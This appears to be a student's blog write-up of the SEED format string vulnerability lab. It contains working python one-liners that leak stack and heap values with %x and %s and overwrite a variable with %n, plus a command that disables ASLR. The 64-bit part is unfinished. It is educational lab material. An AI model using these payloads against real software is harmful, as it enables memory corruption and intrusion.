Format String Vulnerability Lab#
http://www.cis.syr.edu/~wedu/seed/Labs_12.04/Software/Format_String/
Lab1#
Files:
Makefile
vul_prog.c
Summary#
vul_prog.c
give a malloced array secret
and asked you to get the
value of scret[1]
and overwrite it. I can do that when this program
compiled as 32 bits but there still some unsolved problems in 64 bit.
vul_prog.c
give us the address of secret
every times, it means
that ASLR is no longer vaild.
below is the varibles memory layout of vul_prog in my machine:
gcc -m32 -z execstack -fno-stack-protector vul_prog.c -o vul_prog.out
sizeof(int) 4
userinput 0xffc6131c
secret 0xffc61314
int_input 0xffc61310
a 0xffc6130c
b 0xffc61308
c 0xffc61304
d 0xffc6133e
The variable secret's address is 0xffc61318 (on stack)
The variable secret's value is 0x 804a410 (on heap)
secret[0]'s address is 0x 804a410 (on heap)
secret[1]'s address is 0x 804a414 (on heap)
Please enter a decimal integer
...
Please enter a string
...
The original secrets: 0x44 -- 0x55
The new secrets: 0x44 -- 0x55
Doubt: I don't know why there are 8 bytes between `user_input` and
`int_input`
Access varible#
printf("Please enter a decimal integer\n");
scanf("%d", &int_input); /* getting an input from user */
printf("Please enter a string\n");
scanf("%s", user_input); /* getting a string from user */
/* Vulnerable place */
printf(user_input);
printf("\n");
As you see, printf
print a user-input string without any parameter
(IT IS DANGREOUS), we can use it to access varible on stack.
first, find the location of int_input
:
$ make
$ python -c "print('57005'); print('%x-'*20)" | ./vul_prog.out | grep dead
...
ffa49ddc-ffa49dc8-ffa49dc4-ffa49dfe-1-c2-f75b21c3-ffa49dfe-dead-804b010-252d7825- ...
^^^^ ^^^^^^^
...
57005 = 0xdead
so we can access int_input
by input string '%x'*9
, and
secret
can be accessd by '%x'*10
.
How to get the value of scret[0]
?
$ python -c "print('57005'); print('%x-'*9 + '%s')" | ./vul_prog.out
...
ffd6f1fc-ffd6f1e8-ffd6f1e4-ffd6f21e-1-c2-f76061c3-ffd6f21e-dead-D
^
...
hex(ord('D'))
is 0x44
, the vaule of secret[0]
.
How to get the value of scret[1]
?
We can control the value of int_input
, and we know the address of
secret[1]
(from the output of program), more convience, we can close
ASLR so that we don't need to input the variable address everytime.
$ su -c 'echo 0 > /proc/sys/kernel/randomize_va_space'
randomize\_va\_space values
1. Disable ASLR. This setting is applied if the kernel is booted
with the norandmaps boot parameter
2. Randomize the positions of the stack, virtual dynamic shared
object (VDSO) page, and shared memory regions. The base address
of the data segment is located immediately after the end of the
executable code segment
3. Randomize the positions of the stack, VDSO page, shared memory
regions, and the data segment. This is the default setting.
Address of secret[1]
is 0x804a414, converts to decimal is 134521876:
$ python -c "print('134521876'); print('%x-'*8 + '%s')" | ./vul_prog.out
...
ffc6131c-ffc61308-ffc61304-ffc6133e-1-c2-f75921c3-ffc6133e-U
^
...
hex(ord('U'))
is 0x55
, the vaule of secret[1]
.
Overwrite varible#
%n: Nothing printed. The corresponding argument must be a pointer to a signed int. The number of characters written so far is stored in the pointed location.
Use %n
write a vaule to scret[1]
:
$ python -c "print('134521876'); print('%x-'*8 + '%n')" | ./vul_prog.out
...
ff9efafc-ff9efae8-ff9efae4-ff9efb1e-1-c2-f76671c3-ff9efb1e-
The original secrets: 0x44 -- 0x55
The new secrets: 0x44 -- 0x3b
^^^^
secret[1]
has changed to 0x3b
Write a arbitrary (?) value to scret[1]
(by controlling the length
of output string):
$ python -c "print('134521876'); print('%x-'*8 + '0'*+ '%n')" | ./vul_prog.out
...
ff868acc-ff868ab8-ff868ab4-ff868aee-1-c2-f762c1c3-ff868aee-00000000000 ...
The original secrets: 0x44 -- 0x55
The new secrets: 0x44 -- 0x233
^^^^^
[1] 3824 done python -c "print('134521876'); print('%x-'*8 + '0'*504 + '%n')" |
3825 segmentation fault (core dumped) ./vul_prog.out
It seem that the value can no smaller then 0x3b, and too large string will causes segmentation fault. (is it right?)
64 bit#
To get a 64bit executable, invoke make ARCH=64 vul_prog.out
Memory layout:
sizeof(int *): 8
userinput 0x7fffffffe550
secret 0x7fffffffe548
int_input 0x7fffffffe544
a 0x7fffffffe540
b 0x7fffffffe53c
c 0x7fffffffe538
d 0x7fffffffe534
The variable secret's address is 0xffffe548 (on stack)
The variable secret's value is 0x 601420 (on heap)
secret[0]'s address is 0x 601420 (on heap)
secret[1]'s address is 0x 601424 (on heap)
NOTE: size of x64 stack cell is 8 byte, sizeof(int) = 4, sizeof(int
\*) = 8
high low
|-----------------------|
| secret |
|-----------------------|
| int_input | a |
|-----------------------|
| b | c |
|-----------------------|
| d | |
|-----------------------|
low
Access secret[0]
:
$ python -c "print('57005'); print('%016lx-'*10 + '%s')" | ./vul_prog.out
...
0000000000000001-00007ffff7dd5770-000000000000000a-0000000000400a30-0000000000000000-\
00007fffffffe6a8-0000000100000000-0000000400000000-0000000200000003-0000dead00000001-D
^^^^ ^
...
Overwrite secret[1]
: // TODO
python -c "print('57005'); print('\x24\x14\x60\x60\x00'+ '%016lx-' * 12)" | ./vul_prog.out
Lab2#
// TODO
如果你有任何意见,请在此评论。 如果你留下了电子邮箱,我可能会通过 回复你。